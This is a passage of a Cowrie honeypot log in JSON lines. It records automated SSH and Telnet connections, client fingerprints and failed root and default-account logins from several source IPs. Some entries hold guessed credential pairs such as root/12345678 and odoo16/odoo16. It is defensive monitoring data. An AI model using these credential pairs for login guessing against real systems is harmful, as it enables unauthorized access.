{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:d7:d5:60:11:ab:bc:3d:85:60:0c:45:4e:3f:ae:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEWLowLv9YlBo/MqNjb9ucdiAqr1EFvMJsdGhf4OsCEnp/WdMQEAS7oqLofZsVERyV7FdAz0RBQ+hIYZ9ldjY8gW9tjnOvk8XZyxyJ97/oZ+jH7SNzqd60kIaU/488DPwmxEKaD8LJhbVkBDrBaCj9jWSaoVUnWT+MxLrZOFU52794ZCcioeqqdWBZBuPeOOnYofPSjrjAD+EhzBL3rR1PMJAcJ+ECYUw7PrDKLHvd7SxrGo85mjp2w2rFquBsgpIpQOn6B4E7hi43wG34Vy0lfNpfqmcQQ23x0c7FYQ4FGb87x0Zh+uiTSs3GTjDQtqadGm0J1mdNUxU0r+HYLQnj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:d7:d5:60:11:ab:bc:3d:85:60:0c:45:4e:3f:ae:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.945613Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:d7:d5:60:11:ab:bc:3d:85:60:0c:45:4e:3f:ae:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEWLowLv9YlBo/MqNjb9ucdiAqr1EFvMJsdGhf4OsCEnp/WdMQEAS7oqLofZsVERyV7FdAz0RBQ+hIYZ9ldjY8gW9tjnOvk8XZyxyJ97/oZ+jH7SNzqd60kIaU/488DPwmxEKaD8LJhbVkBDrBaCj9jWSaoVUnWT+MxLrZOFU52794ZCcioeqqdWBZBuPeOOnYofPSjrjAD+EhzBL3rR1PMJAcJ+ECYUw7PrDKLHvd7SxrGo85mjp2w2rFquBsgpIpQOn6B4E7hi43wG34Vy0lfNpfqmcQQ23x0c7FYQ4FGb87x0Zh+uiTSs3GTjDQtqadGm0J1mdNUxU0r+HYLQnj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:24.949371Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:8f:03:78:83:40:6e:3c:57:57:68:17:17:10:74:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcfRWTXgssYtlQiYhZtVcciwyiPAYd8vrBGux8k210CKEUblq9fVLMGeaFPSQwoiILWI0JNhxr/LJb/07Dv9Vd3kfM0OnHilOHYU2qKLG0E1fRiUuOrpBHBSmbDRTOMnzKor5L4jg2aDoMcsGDzuD2yUKWEaiJ55jUmId9PrdBjpHmpd+S9uIG9OELUUS5UsAijIb2FAAMPVpuiCrCRLFEiKprtUZEzzvBb4XWExsqZxwF9oBmiNdjR2y9QZWvq22ossy9WRCewVYxtmz2q4EyrEyAuvBQI/3SW4y8NpILoLwqJiKLe2T6prkyF7AI3e8vjac8fQn/lU2ZUFfe8gpmxrTE66/BqS5XeasI5b+T9XQobe+7HEYkuj+fiowP8/giYCry305IEMqgIQ/yN5TQz1Gr05R2sp7MTBa+T1JWouaf/t6KOrPDytzgOiUW0VQdc59SZ9pxb36ZmIkUJ4IQWQeuHz7XJfb65CKou5eWn77niqiGFUemmv2NdL0kh/c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:8f:03:78:83:40:6e:3c:57:57:68:17:17:10:74:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:25.018744Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:8f:03:78:83:40:6e:3c:57:57:68:17:17:10:74:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcfRWTXgssYtlQiYhZtVcciwyiPAYd8vrBGux8k210CKEUblq9fVLMGeaFPSQwoiILWI0JNhxr/LJb/07Dv9Vd3kfM0OnHilOHYU2qKLG0E1fRiUuOrpBHBSmbDRTOMnzKor5L4jg2aDoMcsGDzuD2yUKWEaiJ55jUmId9PrdBjpHmpd+S9uIG9OELUUS5UsAijIb2FAAMPVpuiCrCRLFEiKprtUZEzzvBb4XWExsqZxwF9oBmiNdjR2y9QZWvq22ossy9WRCewVYxtmz2q4EyrEyAuvBQI/3SW4y8NpILoLwqJiKLe2T6prkyF7AI3e8vjac8fQn/lU2ZUFfe8gpmxrTE66/BqS5XeasI5b+T9XQobe+7HEYkuj+fiowP8/giYCry305IEMqgIQ/yN5TQz1Gr05R2sp7MTBa+T1JWouaf/t6KOrPDytzgOiUW0VQdc59SZ9pxb36ZmIkUJ4IQWQeuHz7XJfb65CKou5eWn77niqiGFUemmv2NdL0kh/c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:25.022817Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:d5:06:0e:c8:7e:83:3f:b2:96:a6:00:0c:5c:ea:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCAG7w8u36EtpdESNpM6GaDa1/WDZeOLJ+wOgbPTgq+SMZdUL5j6PJ+9JwY2Yca05ypLEdNR1d81MoVaKDNuIlvEBhGTzW5f3QABTc4f1H7PBLZJN+S0J66O3DpH1eXfqgbvObFGkqsSXSts4rdE6Z0ybEm+nGi3HK3KuAFETA6Cou8v54fWttMWvDRD+47JQ9EPVnzhbhu0NPzKuhSZJSgosua7Micr8ZodmYhPU3CNrsBhvliIIdugOHGvP1OzoZxADuMtH1GDU54hRP3GMmSLAXT7HazjZDeMwkpydXO5HNCJzj7yBx3TmI3ynH9dJBhTRW4hqNjhp38t9AK3+d1JG/QesztWpd0sHNsJBXjETPAz+iUPGkXyHaobLkfq6dQlOWDK9DIZu9CnyRsheiDB3uDNffdkpGZlLy/oKg3JOGx4NTZQeeLy/IOEnTZ28vyMiRtyAe5JrXyHo9O3AaWEjdOv5T84IwoXKsLQtKfp0htOY4vDNPJClgDTM72Zc52eJESaA7x/ofK26AoXVAF+0JD0urIt2PUkrIT5gacZBi9hDNIiqlU1cVsAF94smyjn3IJEvJ60KsoJAdQLW7p5PO73xamBC5nbCMeseGFjk+T0LCU+1U5JK+lcymI9EDWs5EM54QfBlFYkYfCwwbzUqw/PrdnLxVVtqRoK6efQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:d5:06:0e:c8:7e:83:3f:b2:96:a6:00:0c:5c:ea:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:25.092941Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:d5:06:0e:c8:7e:83:3f:b2:96:a6:00:0c:5c:ea:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCAG7w8u36EtpdESNpM6GaDa1/WDZeOLJ+wOgbPTgq+SMZdUL5j6PJ+9JwY2Yca05ypLEdNR1d81MoVaKDNuIlvEBhGTzW5f3QABTc4f1H7PBLZJN+S0J66O3DpH1eXfqgbvObFGkqsSXSts4rdE6Z0ybEm+nGi3HK3KuAFETA6Cou8v54fWttMWvDRD+47JQ9EPVnzhbhu0NPzKuhSZJSgosua7Micr8ZodmYhPU3CNrsBhvliIIdugOHGvP1OzoZxADuMtH1GDU54hRP3GMmSLAXT7HazjZDeMwkpydXO5HNCJzj7yBx3TmI3ynH9dJBhTRW4hqNjhp38t9AK3+d1JG/QesztWpd0sHNsJBXjETPAz+iUPGkXyHaobLkfq6dQlOWDK9DIZu9CnyRsheiDB3uDNffdkpGZlLy/oKg3JOGx4NTZQeeLy/IOEnTZ28vyMiRtyAe5JrXyHo9O3AaWEjdOv5T84IwoXKsLQtKfp0htOY4vDNPJClgDTM72Zc52eJESaA7x/ofK26AoXVAF+0JD0urIt2PUkrIT5gacZBi9hDNIiqlU1cVsAF94smyjn3IJEvJ60KsoJAdQLW7p5PO73xamBC5nbCMeseGFjk+T0LCU+1U5JK+lcymI9EDWs5EM54QfBlFYkYfCwwbzUqw/PrdnLxVVtqRoK6efQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:25.096640Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:25.166155Z","src_ip":"208.87.243.51","session":"80932e91007d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":13846,"dst_ip":"159.203.135.109","dst_port":23,"session":"d587c19ee1da","protocol":"telnet","message":"New connection: 102.67.221.40:13846 (159.203.135.109:23) [session: d587c19ee1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:26.412332Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.67.221.40","src_port":13485,"dst_ip":"159.203.135.109","dst_port":23,"session":"88250169ace2","protocol":"telnet","message":"New connection: 102.67.221.40:13485 (159.203.135.109:23) [session: 88250169ace2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:27.466084Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54192,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c7bec729706","protocol":"ssh","message":"New connection: 103.75.199.4:54192 (159.203.135.109:22) [session: 6c7bec729706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:31.198983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:31.206324Z","src_ip":"103.75.199.4","session":"6c7bec729706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:31.297345Z","src_ip":"103.75.199.4","session":"6c7bec729706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:31.568510Z","src_ip":"103.75.199.4","session":"6c7bec729706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:32.660856Z","src_ip":"103.75.199.4","session":"6c7bec729706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":43536,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1055c1e851b","protocol":"ssh","message":"New connection: 103.75.199.4:43536 (159.203.135.109:22) [session: b1055c1e851b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:53.142513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:53.146698Z","src_ip":"103.75.199.4","session":"b1055c1e851b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:53.237806Z","src_ip":"103.75.199.4","session":"b1055c1e851b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:53.510440Z","src_ip":"103.75.199.4","session":"b1055c1e851b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:19:54.604232Z","src_ip":"103.75.199.4","session":"b1055c1e851b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.178.21.133","src_port":38148,"dst_ip":"159.203.135.109","dst_port":23,"session":"b056cb0758ae","protocol":"telnet","message":"New connection: 181.178.21.133:38148 (159.203.135.109:23) [session: b056cb0758ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:07.366030Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45066,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e7cfa45dbc","protocol":"ssh","message":"New connection: 103.75.199.4:45066 (159.203.135.109:22) [session: 22e7cfa45dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:15.086720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:15.093398Z","src_ip":"103.75.199.4","session":"22e7cfa45dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:15.185878Z","src_ip":"103.75.199.4","session":"22e7cfa45dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:15.464406Z","src_ip":"103.75.199.4","session":"22e7cfa45dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:16.559256Z","src_ip":"103.75.199.4","session":"22e7cfa45dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.588841915130615,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:19.954772Z","src_ip":"181.178.21.133","session":"b056cb0758ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55220,"dst_ip":"159.203.135.109","dst_port":22,"session":"9191606246ec","protocol":"ssh","message":"New connection: 103.75.199.4:55220 (159.203.135.109:22) [session: 9191606246ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:37.066142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:37.069835Z","src_ip":"103.75.199.4","session":"9191606246ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:37.160070Z","src_ip":"103.75.199.4","session":"9191606246ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:37.433118Z","src_ip":"103.75.199.4","session":"9191606246ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:38.526364Z","src_ip":"103.75.199.4","session":"9191606246ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51748,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a94eed845f2","protocol":"ssh","message":"New connection: 103.75.199.4:51748 (159.203.135.109:22) [session: 0a94eed845f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:59.005308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:59.010162Z","src_ip":"103.75.199.4","session":"0a94eed845f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:59.101640Z","src_ip":"103.75.199.4","session":"0a94eed845f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:20:59.374687Z","src_ip":"103.75.199.4","session":"0a94eed845f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:00.468606Z","src_ip":"103.75.199.4","session":"0a94eed845f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44062,"dst_ip":"159.203.135.109","dst_port":22,"session":"f84472c71ec1","protocol":"ssh","message":"New connection: 103.75.199.4:44062 (159.203.135.109:22) [session: f84472c71ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:20.968302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:21:20.972890Z","src_ip":"103.75.199.4","session":"f84472c71ec1","protocol":"ssh"}
